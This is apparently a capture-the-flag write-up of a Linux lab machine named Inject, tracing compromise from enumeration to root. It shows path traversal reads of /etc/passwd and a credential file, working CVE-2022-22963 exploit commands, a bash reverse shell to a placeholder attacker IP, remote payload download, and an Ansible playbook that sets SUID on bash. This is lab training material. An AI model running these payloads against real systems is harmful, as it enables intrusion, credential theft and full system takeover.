To gain access to the machine, we had to perform enumeration on an HTTP service, which led us to discover a path traversal vulnerability. Exploiting this vulnerability allowed us to retrieve the “pom.xml” file, which enabled us to identify a vulnerable dependency on the target machine. Exploiting this vulnerability gave us a foothold as the user “frank” on the target system.
Once we established access as “frank,” we proceeded to enumerate the target machine, uncovering hard-coded credentials within it. Utilizing these credentials, we pivoted to the user “phil.” With a shell as “phil,” we were able to exploit an Ansible playbook, facilitating privilege escalation and granting us root access on the system.
Recon
nmap (TCP all ports)
nmap
finds two open TCP ports, SSH (22), HTTP Proxy (8080):
$ nmap -p- 10.129.180.8
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-12 14:04 WET
Nmap scan report for 10.129.180.8
Host is up (0.070s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 30.84 seconds
$
nmap (found TCP ports exploration)
$ nmap -sC -sV -p 22,8080 10.129.180.8
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-12 14:08 WET
Nmap scan report for 10.129.180.8
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
8080/tcp open nagios-nsca Nagios NSCA
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.17 seconds
$
HTTP - TCP 80
Technologies used:
By checking the webpage presented to us with Wappalyzer, we can get to know what technologies are being used:
Landing page
By going to the url we are presented with the following landing page:
Shell as frank
Path Traversal
Upon deeper manual enumeration, we are able to find a path traversal vulnerability in the “/show_image” path of the service. By injecting an “img” argument with “../”, it allows attackers to retrieve arbitrary files within the service’s privilege boundaries.
$ curl 10.129.180.8:8080/show_image?img=../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
frank:x:1000:1000:frank:/home/frank:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
phil:x:1001:1001::/home/phil:/bin/bash
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:996::/var/log/laurel:/bin/false
$
Settings config file
By leveraging the path traversal vulnerability we are able to retrieve the configuration file named “settings.xml.” This file contains hard-coded credentials, granting us future access to privileged accounts within the system.
$ curl 10.129.180.8:8080/show_image?img=../../../../../../home/frank/.m2/settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<servers>
<server>
<id>Inject</id>
<username>phil</username>
<password>DocPhillovestoInject123</password>
<privateKey>${user.home}/.ssh/id_dsa</privateKey>
<filePermissions>660</filePermissions>
<directoryPermissions>660</directoryPermissions>
<configuration></configuration>
</server>
</servers>
</settings>
$
Credentials found
phil:DocPhillovestoInject123
CVE-2022-22963
Discovery
The application appears to be a Java-based application developed using the Spring Framework. This insight provides valuable information about the underlying structure of the code. Additionally, we are able to locate a pom.xml file that contains the application’s dependencies. Retrieving this file allows us to gain a better understanding of the specific dependencies being utilized, enabling us to analyze and assess their potential impact on the system’s security and overall functionality.
$ curl 10.129.180.8:8080/show_image?img=../../../../../../var/www/WebApp/pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<SNIP>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-function-web</artifactId>
<version>3.2.2</version>
</dependency>
<SNIP>
</project>
$
Within the retrieved pom.xml file, we are able to identify a dependency named spring-cloud.function-web. This particular dependency is vulnerable to the CVE-2022-22963, which is associated with a remote code execution vulnerability.
Exploitation
POC
To determine if the application is vulnerable to the mentioned CVE, we can attempt an exploit by creating a file named “pwn” in the /tmp directory. Subsequently, we can utilize the path traversal vulnerability to check if we can successfully retrieve the file.
$ curl -X POST http://10.129.180.8:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwn")' --data-raw 'data'-v --silent >/dev/null && curl http://10.129.180.8:8080/show_image?img=../../../../../../tmp/
.font-unix
.ICE-unix
.Test-unix
.X11-unix
.XIM-unix
hsperfdata_frank
pwn
systemd-private-821256cc7c5049d0a0727bbea95d55a2-ModemManager.service-s3FVof
systemd-private-821256cc7c5049d0a0727bbea95d55a2-systemd-logind.service-0Gv1Qh
systemd-private-821256cc7c5049d0a0727bbea95d55a2-systemd-resolved.service-pjlmYe
systemd-private-821256cc7c5049d0a0727bbea95d55a2-systemd-timesyncd.service-WJSLVh
tomcat.8080.12280564055277082500
tomcat-docbase.8080.8238192940941789148
vmware-root_730-2999460803
Reverse shell
Given the application’s vulnerability, we can attempt to obtain a reverse shell using the CVE. First, we generate a bash reverse shell and save it to a file.
#!/bin/bash
bash -i >& /dev/tcp/<ATTCK_IP>/9001 0>&1
Then, we exploit the vulnerability to transfer this file from our machine to the target machine.
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
curl -X POST http://10.129.180.8:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl 10.10.15.92:8000/rev.sh -o /tmp/rev")' --data-raw 'data'-v --silent >/dev/null
Once the file is transferred, we can execute the exploit on the target machine while listening on our machine with netcat.
curl -X POST http://10.129.180.8:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/rev")' --data-raw 'data'-v --silent >/dev/null
$ nc -lnvp 9001
Listening on 0.0.0.0 9001
<SNIP>
frank@inject:/$
We can see that the user we got as foothold is the user frank.
Shell as phil
Change of user through creds
By utilizing the previously discovered credentials for the user “phil,” we can pivot from the user “frank” to gain access as the user “phil” within the target machine. This allows us to explore additional avenues for privilege escalation on the target system. Accessing the privileges associated with the user “phil” opens up new possibilities for further investigation and potential exploitation to escalate privileges.
frank@inject:/$ su phil
su phil
Password: DocPhillovestoInject123
python3 -c 'import pty;pty.spawn("/bin/bash")'
phil@inject:/$ export TERM=xterm
export TERM=xterm
phil@inject:/$ ^Z
[1]+ Stopped nc -lnvp 9001
$ stty raw -echo; fg
nc -lnvp 9001
stty rows 38 columns 116
phil@inject:/$
Shell as root
Group Permissions
Now that we have a shell as the user “phil,” we can determine their privileges by using the command “id” to check the groups they belong to.
phil@inject:/$ id
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)
phil@inject:/$
Having identified that the user “phil” is a member of the “staff” group (with group ID 50), we can leverage this information to retrieve files that the user has permissions to manipulate. By examining the file system and considering the access granted to the “staff” group, we can determine the files and directories that “phil” can interact with.
phil@inject:/$ find / -type f -group 50 2>/dev/null
/usr/local/lib/python3.8/dist-packages/ansible_parallel.py
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/LICENSE
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/RECORD
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/entry_points.txt
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/WHEEL
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/METADATA
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/top_level.txt
/usr/local/lib/python3.8/dist-packages/ansible_parallel-2021.1.22.dist-info/INSTALLER
/usr/local/lib/python3.8/dist-packages/__pycache__/ansible_parallel.cpython-38.pyc
/usr/local/share/fonts/.uuid
phil@inject:/$
Ansible Weaponization
The user “phil” has the capability to interact with an automated task executed through an Ansible playbook, which serves as a configuration file for task automation on the machine. This allows “phil” to manage and potentially modify the tasks performed by the playbook, providing opportunities for system configuration and exploration.
phil@inject:/opt/automation/tasks$ cat playbook_1.yml
- hosts: localhost
tasks:
- name: Checking webapp service
ansible.builtin.systemd:
name: webapp
enabled: yes
state: started
phil@inject:/opt/automation/tasks$
We have the potential to leverage this capability by following this blogpost that explains modifying the SETUID of the bash command. This modification aims to maintain the sticky bit set from root permissions enabling us to mimic the root user.
phil@inject:/opt/automation/tasks$ cat pe.yml
- hosts: localhost
tasks:
- name: Priv esc
ansible.builtin.shell: |
chmod +s /bin/bash
become: true
phil@inject:/opt/automation/tasks$
Upon completing the automation change, we simply need to wait for the permissions to be updated. This can be achieved using a bash one-liner that executes the bash command with the argument “-p” to ensure the sticky permissions are retained. By monitoring whether the permissions of the command have been correctly modified, we can ascertain if the desired changes have been successfully applied and obtain a root shell.
phil@inject:/opt/automation/tasks$ while true; do [ -s /usr/bin/bash ] && { [ $(stat -c "%a" /usr/bin/bash) -gt 3000 ] && /usr/bin/bash -p; }; sleep 1; done
bash-5.0# id
uid=1001(phil) gid=1001(phil) euid=0(root) egid=0(root) groups=0(root),50(staff),1001(phil)
bash-5.0#